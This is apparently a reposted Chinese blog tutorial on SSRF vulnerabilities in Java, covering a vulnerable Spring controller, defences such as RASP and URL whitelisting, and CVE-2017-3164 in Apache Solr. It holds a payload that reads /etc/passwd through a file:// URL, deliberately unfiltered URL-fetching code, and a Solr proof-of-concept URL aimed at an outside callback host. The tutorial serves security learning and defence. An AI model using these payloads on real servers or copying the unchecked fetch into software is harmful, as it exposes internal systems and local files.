java代碼學習(六)——ssrf漏洞


SSRF介紹

SSRF(Server-Side Request Forgery:服務器端請求偽造) 是一種由攻擊者構造形成由服務端發起請求的一個安全漏洞。一般情況下,SSRF攻擊的目標是從外網無法訪問的內部系統。(正是因為它是由服務端發起的,所以它能夠請求到與它相連而與外網隔離的內部系統)。SSRF 形成的原因大都是由於服務端提供了從其他服務器應用獲取數據的功能且沒有對目標地址做過濾與限制。

SSRF作用

對外網服務器所在的內網、本地進行端口掃描,獲取一些服務的banner信息 。

攻擊運行在內網或者本地的應用程序。

對內網web應用進行指紋識別,通過訪問默認文件實現 。

攻擊內外網的web應用。sql注入、struct2、redis等。

利用file協議讀取本地文件等。

 

SSRF產生

在該案例中,profilepics參數從請求中獲取輸入數據,並沒有進行任何的過濾和處理,所以可以直接構造payload:http://xxx.com/profilepics?url=file:///etc/passwd.進行讀取文件內容的操作。

@GetMapping("/profilepics")

public void openStream(@RequestParam String url, HttpServletResponse response)

throws IOException {

 

  InputStream inputStream = null;

  OutputStream outputStream = null;

 

  String downLoadImgFileName =

  WebUtils.getNameWithoutExtension(url) + "." + WebUtils.getFileExtension(url);

  // download

  response.setHeader(

  "content-disposition",

  "attachment;fileName=" + downLoadImgFileName);

 

  URL u = new URL(url);

  int length;

  byte[] bytes = new byte[1024];

  inputStream = u.openStream(); // send request

  outputStream = response.getOutputStream();

  while ((length = inputStream.read(bytes)) > 0) {

  outputStream.write(bytes, 0, length);

  }

}

 

SSRF防御

 

RASP技術

RASP(Runtime Application Self Protection)是一種現代應用程序安全技術,可以用來防止sql注入、xss、ssrf、反序列化等漏洞的攻擊。waf的防御基於流量規則,而RASP技術防御是根據請求上下文進行攔截的。

Java是通過Java Agent方式進行實現,Java Agent有三種機制,分別是Agent_OnLoad、Agent_OnAttach、Agent_OnUnload。

參考:https://docs.oracle.com/javase/8/docs/platform/jvmti/jvmti.html#startup

https://www.iteye.com/blog/nijiaben-1847212

 

后端代碼進行限制

  • 限制協議為HTTP、HTTPS協議。例如使用HttpURLConnection強制轉換協議為http或https。
  • 禁止URL傳入內網IP或者設置URL白名單。例如設置百度,谷歌等域名。
  • 不用限制302重定向。

CVE-2017-3164

  Apache Solrssrf漏洞,沒有經過任何過濾就直接把url代入執行了。讓我們來跟進下漏洞的細節。

  http://127.0.0.1:8983/solr/db/replication?command=fetchindex&masterUrl=http://f422cd57.y7z.xyz/xxxx&wt=json&httpBasicAuthUser=aaa&httpBasicAuthPassword=bbb

  從漏洞的poc中可以看出,入口點在replication。在這里是org/apache/solr/handler/ReplicationHandler.javahandleRequestBody方法的run方法

 

跟進doFetch方法

 

可以看到,該方法設置了一個masterUrl變量,該變量在后續的代碼中沒有進行任何的過濾,最終導致了ssrf的產生。讓我們接着看fetchLastestIndex方法。

返回兩個參數的fetchLastestIndex方法。

 

在這里的重點是getLatestVersion方法。

 

把我們傳入的masterUrl變量沒經過過濾就執行了,導致漏洞產生。

 

 

https://blog.csdn.net/qq_30135181/article/details/52734225

https://www.cnblogs.com/nice0e3/p/13682434.html

https://xz.aliyun.com/t/4290

https://hdivsecurity.com/bornsecure/what-is-rasp-runtime-application-self-protection/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM